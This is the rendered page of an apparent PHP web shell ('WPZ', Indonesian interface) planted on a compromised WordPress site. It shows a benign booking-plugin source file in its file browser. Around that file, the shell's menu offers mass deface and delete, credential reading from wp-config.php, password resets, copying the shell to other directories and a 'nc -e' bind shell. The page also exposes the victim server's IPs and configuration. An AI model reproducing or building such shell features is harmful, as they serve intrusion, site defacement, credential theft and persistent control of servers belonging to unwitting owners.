WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / includes / dashboard / pages / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/dashboard/pages/base.php (3.72 KB)
<?php

namespace JET_ABAF\Dashboard\Pages;

use JET_ABAF\Dashboard\Helpers\Page_Config;

abstract class Base {

	/**
	 * Page slug.
	 *
	 * @return string
	 */
	abstract public function slug();

	/**
	 * Page title.
	 *
	 * @return string
	 */
	abstract public function title();

	/**
	 * Page capability.
	 *
	 * @return string
	 */
	abstract public function capability();

	/**
	 * Page render function.
	 *
	 * @return void
	 */
	abstract public function render();

	/**
	 * Return page config.
	 *
	 * @return Page_Config
	 */
	abstract public function page_config();

	/**
	 * Dashboard pages specific assets.
	 *
	 * @return void
	 */
	public function assets() {
		$this->enqueue_style( 'jet-abaf-dashboard', 'assets/css/admin/dashboard.css' );
	}

	/**
	 * Check if is setup page.
	 *
	 * @return boolean
	 */
	public function is_setup_page() {
		return false;
	}

	/**
	 * Check if is settings page.
	 *
	 * @return boolean
	 */
	public function is_settings_page() {
		return false;
	}

	/**
	 * Page components templates.
	 *
	 * @return array
	 */
	public function vue_templates() {
		return [];
	}

	/**
	 * Render vue templates.
	 *
	 * @return void
	 */
	public function render_vue_templates() {
		foreach ( $this->vue_templates() as $template ) {
			if ( is_array( $template ) ) {
				$this->render_vue_template( $template['file'], $template['dir'] );
			} else {
				$this->render_vue_template( $template );
			}
		}
	}

	/**
	 * Renders a Vue.js template.
	 *
	 * This method renders a Vue-compatible template script tag with a specified template and optional path.
	 * If no path is provided, the method uses a default slug path.
	 *
	 * @since  4.0.0 Updated path method.
	 * @access public
	 *
	 * @param string      $template The name of the template to be rendered.
	 * @param string|null $path     The path to the template file.
	 *
	 * @return void
	 */
	public function render_vue_template( $template, $path = null ) {

		if ( ! $path ) {
			$path = $this->slug();
		}

		$file = jet_abaf()->get_template( 'admin/' . $path . '/' . $template . '.php' );

		if ( ! is_readable( $file ) ) {
			return;
		}

		ob_start();

		include $file;

		printf( '<script type="text/x-template" id="jet-abaf-%s">%s</script>', $template, ob_get_clean() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

	}

	/**
	 * Enqueue script.
	 *
	 * @param string   $handle    Name of the script. Should be unique.
	 * @param string   $file_path Full URL of the script, or path of the script relative to the WordPress root
	 *                            directory.
	 * @param string[] $deps      An array of registered script handles this script depends on.
	 *
	 * @return void
	 */
	public function enqueue_script( $handle = null, $file_path = null, $deps = [] ) {
		wp_enqueue_script(
			$handle,
			JET_ABAF_URL . $file_path,
			wp_parse_args( $deps, [ 'wp-api-fetch', 'wp-i18n' ] ),
			JET_ABAF_VERSION,
			true
		);
	}

	/**
	 * Enqueue style.
	 *
	 * @param string   $handle    Name of the script. Should be unique.
	 * @param string   $file_path Full URL of the script, or path of the script relative to the WordPress root
	 *                            directory.
	 * @param string[] $deps      An array of registered script handles this script depends on.
	 *
	 * @return void
	 */
	public function enqueue_style( $handle = null, $file_path = null, $deps = [] ) {
		wp_enqueue_style(
			$handle,
			JET_ABAF_URL . $file_path,
			$deps,
			JET_ABAF_VERSION
		);
	}

	/**
	 * Set to true to hide page from admin menu.
	 *
	 * @return boolean
	 */
	public function is_hidden() {
		return false;
	}

	/**
	 * Returns current page url.
	 *
	 * @return string
	 */
	public function get_url() {
		return add_query_arg( [ 'page' => $this->slug() ], esc_url( admin_url( 'admin.php' ) ) );
	}

}
namawaktuukuranownerpermaksi
..
base.php 2026-07-21 14:163.72 KB 76129f60960:kunden-xw-x-----
edt
bookings.php 2026-07-21 14:1613.78 KB 76129f60960:kunden-xw-x-----
edt
calendars.php 2026-07-21 14:162.03 KB 76129f60960:kunden-xw-x-----
edt
set-up.php 2026-07-21 14:161.64 KB 76129f60960:kunden-xw-x-----
edt
settings.php 2026-07-21 14:165.63 KB 76129f60960:kunden-xw-x-----
edt
vendors.php 2026-07-21 14:161.62 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/dashboard/pages
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK